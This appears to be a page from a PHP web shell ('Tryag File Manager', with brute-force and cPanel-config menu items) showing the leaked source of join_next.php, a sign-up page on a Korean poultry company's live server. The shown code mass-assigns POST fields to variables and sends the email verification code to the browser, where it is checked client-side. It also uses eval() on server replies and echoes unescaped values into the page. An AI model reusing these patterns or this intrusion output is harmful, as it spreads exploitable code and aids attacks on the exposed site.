Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
ltman.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/ltman.eemo.co.kr/public_html/www/join_next.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_POST as $key => $value) { //echo $key."=>".$value."<br>"; ${$key}=mysql_real_escape_string(trim($value)); } ?> <!DOCTYPE html> <html lang="en" class="default-style"> <head> <title><?=$_TITLE?></title> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="IE=edge,chrome=1"> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <link rel="icon" type="image/x-icon" href="favicon.ico"> <link href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,500,500i,700,700i,900" rel="stylesheet"> <!-- Icon fonts --> <link rel="stylesheet" href="assets/vendor/fonts/fontawesome.css"> <link rel="stylesheet" href="assets/vendor/fonts/ionicons.css"> <link rel="stylesheet" href="assets/vendor/fonts/linearicons.css"> <link rel="stylesheet" href="assets/vendor/fonts/open-iconic.css"> <link rel="stylesheet" href="assets/vendor/fonts/pe-icon-7-stroke.css"> <!-- Core stylesheets --> <link rel="stylesheet" href="assets/vendor/css/rtl/bootstrap.css" class="theme-settings-bootstrap-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/appwork.css" class="theme-settings-appwork-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/theme-corporate.css" class="theme-settings-theme-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/colors.css" class="theme-settings-colors-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/uikit.css"> <link rel="stylesheet" href="assets/css/demo.css"> <script src="assets/vendor/js/material-ripple.js"></script> <script src="assets/vendor/js/layout-helpers.js"></script> <!-- Theme settings --> <!-- This file MUST be included after core stylesheets and layout-helpers.js in the <head> section --> <script src="assets/vendor/js/theme-settings.js"></script> <script> </script> <!-- Core scripts --> <script src="assets/vendor/js/pace.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!-- Libs --> <link rel="stylesheet" href="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css"> <!-- Page --> <link rel="stylesheet" href="assets/vendor/css/pages/authentication.css"> </head> <style> #farm_addr { } #farm_addr:focus { outline: none; } .autoCompleteContainer { border: 2px solid lightblue; width: 98%; margin-left: 1%; font-weight: 600; box-sizing: border-box; } .autoCompleteBox { padding: 0.8rem; box-sizing: border-box; } .mainName { font-weight: 700; } .fullAddr { color: gray; } .selected { background-color: gainsboro; } </style> <body> <div class="page-loader"> <div class="bg-primary"></div> </div> <!-- Content --> <div class="authentication-wrapper authentication-3"> <div class="authentication-inner"> <!-- Side container --> <!-- Do not display the container on extra small, small and medium screens --> <div class="d-none d-lg-flex col-lg-8 align-items-center ui-bg-cover ui-bg-overlay-container p-5" style="background-image: url('assets/img/bg/21.jpg');"> <div class="ui-bg-overlay bg-dark opacity-50"></div> <!-- Text --> <div class="w-100 text-white px-5"> <h1 class="display-2 font-weight-bolder mb-4">양계인 담당자용</h1> <div class="text-large font-weight-light"> (주)양계인에서 개발한 농가 CCTV + IoT센서 + 차량관제 + 양계시세 담당자용 어플 </div> </div> <!-- /.Text --> </div> <!-- / Side container --> <!-- Form container --> <div class="d-flex col-lg-4 bg-white p-5" style='margin-top:-50px'> <!-- Inner container --> <!-- Have to add `.d-flex` to control width via `.col-*` classes --> <div class="d-flex col-sm-7 col-md-5 col-lg-12 px-0 px-xl-4 mx-auto"> <div class="w-100"> <h4 class="text-center text-lighter font-weight-normal mt-5 mb-0">회원 상세정보</h4> <!-- Form --> <form class="my-4" name='frm_reg' id='frm_reg' onsubmit="return false;"> <div class="form-group"> <label class="form-label">가입유형 :</label> <div class="form-group"> <label class="form-check form-check-inline"> <label class="custom-control custom-radio"> <input type="radio" class="custom-control-input" value="1" name="mtype" id="mtype_1" checked> <span class="custom-control-label">계열사 직원</span> </label> <label class="custom-control custom-radio"> <input type="radio" class="custom-control-input" value="2" name="mtype" id="mtype_2" > <span class="custom-control-label">위탁대행업체</span> </label> </label> </div> </div> <div id='dv_mtype1_1'> <div class="form-group"> <label class="form-label">계열화사업장 코드번호 :</label> <input type="tel" class="form-control" id='company_code' name='company_code' placeholder="(-)없이 입력해주세요"> </div> <div class="form-group"> <label class="form-label">이메일인증 :</label> <div class="input-group"> <input type="text" class="form-control" placeholder="이메일주소입력" id='email' name='email' onfocus="fn_resize(200)" > <span class="input-group-append"> <button class="btn btn-secondary" type="button" onclick="fn_sendemail()">발송</button> </span> </div> </div> <div class="form-group"> <label class="form-label">인증번호입력 :</label> <input type="text" class="form-control" id='user_auth' name='user_auth' placeholder="인증번호입력" onfocus="fn_resize(200)" > </div> <div class="form-group"> <label class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" checked name='chk_ads' id='chk_ads' value='1'> <span class="custom-control-label">광고성 이메일 수신동의</span> </label> </div> </div><!--mtype1_1--> <div id='dv_mtype1_2' style='display:none'> <div class="form-group"> <label class="form-label">가입유형 :</label> <div class="form-group"> <label class="form-check form-check-inline"> <label class="custom-control custom-radio"> <input type="radio" class="custom-control-input" value="1" name="mtype2" id="mtype2_1" checked> <span class="custom-control-label">마스터</span> </label> <label class="custom-control custom-radio"> <input type="radio" class="custom-control-input" value="2" name="mtype2" id="mtype2_2" > <span class="custom-control-label">직원</span> </label> </label> </div> </div> <div id='dv_mtype2_1'> <div class="form-group"> <label class="form-label">상호(중복가능) :</label> <input type="text" class="form-control" id='wetak_company_name' name='wetak_company_name' placeholder="상호입력" onfocus="fn_resize(200)" > </div> <div class="form-group"> <label class="form-label">이메일인증 :</label> <div class="input-group"> <input type="text" class="form-control" placeholder="이메일주소입력" id='email_21' name='email_21' onfocus="fn_resize(300)" > <span class="input-group-append"> <button class="btn btn-secondary" type="button" onclick="fn_sendemail21()">발송</button> </span> </div> </div> <div class="form-group"> <label class="form-label">인증번호입력 :</label> <input type="tel" class="form-control" id='user_auth21' name='user_auth21' placeholder="인증번호입력" onfocus="fn_resize(300)" > </div> <div class="form-group"> <label class="form-label">사업자등록번호 :</label> <div class="input-group"> <input type="text" class="form-control" placeholder="사업자등록번호" id='saup_num' name='saup_num'> <span class="input-group-append"> <button class="btn btn-secondary" type="button" onclick="fn_orgnum_chk()">중복확인</button> </span> </div> </div> </div><!--mtype2_1--> <div id='dv_mtype2_2' style='display:none'> <div class="form-group"> <label class="form-label">이메일인증 :</label> <div class="input-group"> <input type="tel" class="form-control" placeholder="이메일주소입력" id='email_22' name='email_22' onfocus="fn_resize(300)" > <span class="input-group-append"> <button class="btn btn-secondary" type="button" onclick="fn_sendemail22()">발송</button> </span> </div> </div> <div class="form-group"> <label class="form-label">인증번호입력 :</label> <input type="tel" class="form-control" id='user_auth22' name='user_auth' placeholder="인증번호입력" onfocus="fn_resize(300)" > </div> <div class="form-group"> <label class="form-label">위탁대행사 코드번호 :</label> <div class="input-group"> <input type="text" class="form-control" placeholder="위탁대행사 코드번호" id='wetak_codenum' name='wetak_codenum'> <span class="input-group-append"> <button class="btn btn-secondary" type="button" onclick="fn_wetaknum_chk()">코드확인</button> </span> </div> </div> </div><!--mtype2_2--> </div><!--mtype1_2--> <input type='hidden' name='user_id' id='user_id' value="<?=$user_id?>"> <input type='hidden' name='user_name' id='user_name' value="<?=$user_name?>"> <input type='hidden' name='user_pass' id='user_pass' value="<?=$user_pass?>"> <input type='hidden' name='user_addr' id='user_addr' value="<?=$user_addr?>"> <input type='hidden' name='user_addr2' id='user_addr2' value="<?=$user_addr2?>"> <input type='hidden' name='user_cel' id='user_cel' value="<?=$user_cel?>"> <input type='hidden' name='sido' id='sido' value="<?=$sido?>"> <input type='hidden' name='sigungu' id='sigungu' value="<?=$sigungu?>"> <input type='hidden' name='lat' id='lat' value="<?=$lat?>"> <input type='hidden' name='lon' id='lon' value="<?=$lon?>"> <input type='hidden' name='get_authnum' id='get_authnum' value=""> <input type='hidden' name='saup_num_chk' id='saup_num_chk' value=""> <input type='hidden' name='wetak_codenum_chk' id='wetak_codenum_chk' value=""> </form> <!-- / Form --> </div> </div> </div> <!-- / Form container --> </div> </div> <div class="card-footer d-flex justify-content-between align-items-center bg-success border-top-0"> <button class="btn bg-transparent text-white border-white border-2" type="button" onclick="history.back()"><i class="fas fa-arrow-left"></i> 이전</button> <button class="btn bg-transparent text-white border-white border-2" type="button" onclick="goSubmit()">가입 확인</button> </div> <!-- / Content --> <div id='dv_test' style='height:0px'></div> <!-- Core scripts --> <script src="assets/vendor/libs/popper/popper.js"></script> <script src="assets/vendor/js/bootstrap.js"></script> <script src="assets/vendor/js/sidenav.js"></script> <!-- Libs --> <script src="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script> <!-- Demo --> <script src="assets/js/demo.js"></script> <script src="assets/vendor/libs/bootbox/bootbox.js"></script> </body> </html> <script> function fn_resize(vv) { $('#dv_test').css('height',vv+'px'); $( 'html, body' ).animate( { scrollTop : vv }, 400 ); } $("#ufile1").on('change', function(){ var filename = $('#ufile1').val().replace(/.*(\/|\\)/, ''); //alert(filename); $('#sp_ufile1_name').html(filename); }); $('input[type=radio][name=mtype').change(function() { if (this.value == '1') { $('#dv_mtype1_1').show(); $('#dv_mtype1_2').hide(); } else if (this.value == '2') { $('#dv_mtype1_1').hide(); $('#dv_mtype1_2').show(); } }); $('input[type=radio][name=mtype2').change(function() { if (this.value == '1') { $('#dv_mtype2_1').show(); $('#dv_mtype2_2').hide(); } else if (this.value == '2') { $('#dv_mtype2_1').hide(); $('#dv_mtype2_2').show(); } }); function fn_sendemail() { if(!$('#email').val()) { bootbox.alert("이메일주소를 입력하세요"); return; } var par="?email="+$('#email').val()+'&user_name='+$('#user_name').val(); $.post( "send_email.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { bootbox.alert("발송되었습니다."); $('#get_authnum').val(json.auth); } else { bootbox.alert("발송에 실패하였습니다."); $('#get_authnum').val(''); } }); } function fn_sendemail21() { if(!$('#email_21').val()) { bootbox.alert("이메일주소를 입력하세요"); return; } var par="?email="+$('#email_21').val()+'&user_name='+$('#user_name').val(); $.post( "send_email.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { bootbox.alert("발송되었습니다."); $('#get_authnum').val(json.auth); } else { bootbox.alert("발송에 실패하였습니다."); $('#get_authnum').val(''); } }); } function fn_sendemail22() { if(!$('#email_22').val()) { bootbox.alert("이메일주소를 입력하세요"); return; } var par="?email="+$('#email_22').val()+'&user_name='+$('#user_name').val(); $.post( "send_email.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { bootbox.alert("발송되었습니다."); $('#get_authnum').val(json.auth); } else { bootbox.alert("발송에 실패하였습니다."); $('#get_authnum').val(''); } }); } function fn_orgnum_chk() { if(!$('#saup_num').val()) { bootbox.alert("사업자등록번호를 입력하세요"); return; } var par="?saup_num="+$('#saup_num').val(); $.post( "saup_num_number_check.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { bootbox.alert({ message : "사용가능한 번호입니다." }); $('#saup_num_chk').val("1"); } else { //bootbox.alert("동일한 아이디가 존재합니다"); bootbox.alert({ message : "이미 등록된 사업자등록번호가 있습니다.<br>확인 후 다시 입력해주세요" }); $('#saup_num_chk').val(""); } }); } function fn_wetaknum_chk() { if(!$('#wetak_codenum').val()) { bootbox.alert("위탁대행사 코드번호를 입력하세요"); return; } var par="?wetak_codenum="+$('#wetak_codenum').val(); $.post( "wetak_codenum_check.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { bootbox.alert({ message : "정상확인 되었습니다." }); $('#wetak_codenum_chk').val("1"); } else { //bootbox.alert("동일한 아이디가 존재합니다"); bootbox.alert({ message : "코드번호를 다시확인하여 주십시요" }); $('#wetak_codenum_chk').val(""); } }); } function fn_addr_chk() { var par="?addr="+$('#farm_addr').val(); $.post( "addr_check.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { $('#farm_sido').val(json.sido); $('#farm_sigungu').val(json.sigungu); $('#farm_lat').val(json.lat); $('#farm_lon').val(json.lon); bootbox.alert("주소가 정상확인 되었습니다."); } else if(json.rst=='-1') { $('#farm_sido').val(""); $('#farm_sigungu').val(""); $('#farm_lat').val(""); $('#farm_lon').val(""); bootbox.alert("주소정보가 올바르지 않습니다."); } }); } function goSubmit() { var form=document.frm_reg; if(form.mtype.value==1) { if(!$('#company_code').val()) { bootbox.alert("사업장 코드번호를 입력하세요"); return; } if(!$('#email').val()) { bootbox.alert("이메일 주소를 입력하세요"); return; } if(!$('#get_authnum').val()) { bootbox.alert("이메일 발송버튼을 눌러주세요."); return; } if($('#user_auth').val() != $('#get_authnum').val()) { bootbox.alert("인증번호가 일치하지 않습니다."); return; } bootbox.confirm("기입하신대로 회원가입 하시겠습니까?", function(result){ console.log('This was logged in the callback: ' + result); if(result==true) { var params = jQuery('#frm_reg').serialize(); // serialize() : 입력된 모든Element(을)를 문자열의 데이터에 serialize 한다. jQuery.ajax({ url: 'join_next_do.php', type: 'POST', data:params, contentType: 'application/x-www-form-urlencoded; charset=UTF-8', dataType: 'html', success: function (result) { if (result){ var json=eval("("+result+")"); if(json.rst=='1') { bootbox.alert({ message: "감사합니다.<br>회원가입되었습니다!<br>계열사에서 승인되면 사용 가능합니다.", callback: function () { //console.log('This was logged in the callback!'); location.href='login.php'; } }); } else if(json.rst=='wrong_code') { bootbox.alert("잘못된 코드번호입니다!<br>계열화사업장 코드번호를 다시확인하여 주세요."); } else { bootbox.alert("회원가입에 실패하였습니다."); } } } }); } }); } else if(form.mtype.value==2) { if(form.mtype2.value==1) { if(!$('#wetak_company_name').val()) { bootbox.alert("상호를 입력하세요"); return; } if(!$('#email_21').val()) { bootbox.alert("이메일 주소를 입력하세요"); return; } if(!$('#get_authnum').val()) { bootbox.alert("이메일 발송버튼을 눌러주세요."); return; } if($('#user_auth21').val() != $('#get_authnum').val()) { bootbox.alert("인증번호가 일치하지 않습니다."); return; } if(!$('#saup_num').val()) { bootbox.alert("사업자 번호를 입력하세요."); return; } if($('#saup_num_chk').val() != '1') { bootbox.alert("사업자 번호 중복확인 버튼을 눌러주세요."); return; } bootbox.confirm("기입하신대로 회원가입 하시겠습니까?", function(result){ console.log('This was logged in the callback: ' + result); if(result==true) { var params = jQuery('#frm_reg').serialize(); // serialize() : 입력된 모든Element(을)를 문자열의 데이터에 serialize 한다. jQuery.ajax({ url: 'join_next_do_21.php', type: 'POST', data:params, contentType: 'application/x-www-form-urlencoded; charset=UTF-8', dataType: 'html', success: function (result) { if (result){ var json=eval("("+result+")"); if(json.rst=='1') { bootbox.alert({ message: "감사합니다.<br>회원가입되었습니다!<br>(주)양계인에서 최종 승인되면 사용 가능합니다.<br><b>위탁대행사 코드번호는 가입한 이메일로 보내드렸습니다.<br>꼭 코드번호를 확인하여 주세요.</b>", callback: function () { //console.log('This was logged in the callback!'); location.href='login.php'; } }); } else if(json.rst=='saup_double') { bootbox.alert("사업자 번호가 이미 존재합니다."); } else { bootbox.alert("회원가입에 실패하였습니다."); } } } }); } }); } else if(form.mtype2.value==2) { if(!$('#email_22').val()) { bootbox.alert("이메일 주소를 입력하세요"); return; } if(!$('#get_authnum').val()) { bootbox.alert("이메일 발송버튼을 눌러주세요."); return; } if($('#user_auth22').val() != $('#get_authnum').val()) { bootbox.alert("인증번호가 일치하지 않습니다."); return; } if(!$('#wetak_codenum').val()) { bootbox.alert("위탁대행사 코드번호를 입력하세요."); return; } if($('#wetak_codenum_chk').val() != '1') { bootbox.alert("위탁대행사 코드확인 버튼을 눌러주세요."); return; } bootbox.confirm("기입하신대로 회원가입 하시겠습니까?", function(result){ console.log('This was logged in the callback: ' + result); if(result==true) { var params = jQuery('#frm_reg').serialize(); // serialize() : 입력된 모든Element(을)를 문자열의 데이터에 serialize 한다. jQuery.ajax({ url: 'join_next_do_22.php', type: 'POST', data:params, contentType: 'application/x-www-form-urlencoded; charset=UTF-8', dataType: 'html', success: function (result) { if (result){ var json=eval("("+result+")"); if(json.rst=='1') { bootbox.alert({ message: "감사합니다.<br>회원가입되었습니다!<br>(주)양계인에서 최종 승인되면 사용 가능합니다.", callback: function () { //console.log('This was logged in the callback!'); location.href='login.php'; } }); } else if(json.rst=='wrong_code') { } else { bootbox.alert("회원가입에 실패하였습니다."); } } } }); } }); } } return; } function fn_sendauth() { if(!$('#user_cel').val()) { bootbox.alert("핸드폰 번호를 입력하세요"); return; } var par="?tel="+$('#user_cel').val(); $.post( "sms_sendauth.php"+par, function( res ) { var json=eval("("+res+")"); if(json.rst=='1') { bootbox.alert("인증번호가 발송되었습니다."); $('#get_authnum').val(json.auth); } else { $('#get_authnum').val(""); } }); } </script> <script> var locationData, selectCount = 0, findCount = 0; $("#farm_addr").keyup(function(e) { switch (e.keyCode) { case 8: selectCount = 0 inputKeyEvent() break; case 32: if($("#farm_addr").val() == " ") emptySpaceKeyEvent() return case 13: if($("div").hasClass("autoCompleteBox") == true) enterKeyEvent() return case 38: if($("div").hasClass("autoCompleteBox") == false) return upKeyEvent() return case 40: if($("div").hasClass("autoCompleteBox") == false) return downKeyEvent() return default: inputKeyEvent() } }); $(document).on("mousedown", ".autoCompleteBox",function(e) { e.stopImmediatePropagation(); $("#farm_addr").val($(this).children()[2].innerHTML) $(".autoCompleteBox").remove() $(".autoCompleteContainer").remove() }) $(document).on("blur", "#farm_addr",function() { selectCount = 0 $(".autoCompleteBox").remove() $(".autoCompleteContainer").remove() }) $(document).on("mousedown", "#farm_addr",function() { inputKeyEvent() }) function getLocationJson() { /* $.getJSON( "./addr_data.json", function(data) { locationData = data; }); */ } function upKeyEvent() { if($(".autoCompleteBox").hasClass("selected") == false) return if(selectCount == 0) return $("#autoCompleteBox-"+selectCount+"").removeClass('selected') --selectCount $("#autoCompleteBox-"+selectCount+"").addClass('selected') } function downKeyEvent() { if($(".autoCompleteBox").hasClass("selected") == false) { $("#autoCompleteBox-"+selectCount+"").addClass('selected') return } if(selectCount == findCount) return $("#autoCompleteBox-"+selectCount+"").removeClass('selected') ++selectCount $("#autoCompleteBox-"+selectCount+"").addClass('selected') } function enterKeyEvent() { $("#farm_addr").val($("#autoCompleteBox-"+selectCount+"").children()[2].innerHTML) $(".autoCompleteBox").remove() $(".autoCompleteContainer").remove() } function emptySpaceKeyEvent() { $("#farm_addr").val("") } function inputKeyEvent() { $(".autoCompleteBox").remove() $(".autoCompleteContainer").remove() var inputValue = $("#farm_addr").val() if(inputValue == "") return; //$('#vvv').html(locationData); var par="?addr="+$('#farm_addr').val(); $.getJSON( "./addr_check_autocom.php"+par, function(data) { locationData = data; var searchLocation = locationData.filter(function (location) { return location.FULL_ADDR.match(inputValue) }); $(".autoCompleteBox").remove(); $(".autoCompleteContainer").remove(); if(searchLocation.length == 0) return $("#input_addr").append("<div class='autoCompleteContainer'></div>") for (var i = 0; i <= 2; i++) { if(searchLocation[i] == undefined) return findCount = i $(".autoCompleteContainer").append(generate(searchLocation[i], i)) if(searchLocation[i].SUB_NAME == "") return } }); } function generate(searchLocation, i) { return ` <div class="autoCompleteBox" id="autoCompleteBox-${i}"> <i class="fas fa-map-marker-alt"></i> <span class="mainName">${searchLocation.MAIN_NAME}</span> <span class="fullAddr">${searchLocation.FULL_ADDR}</span> </div> `; } </script>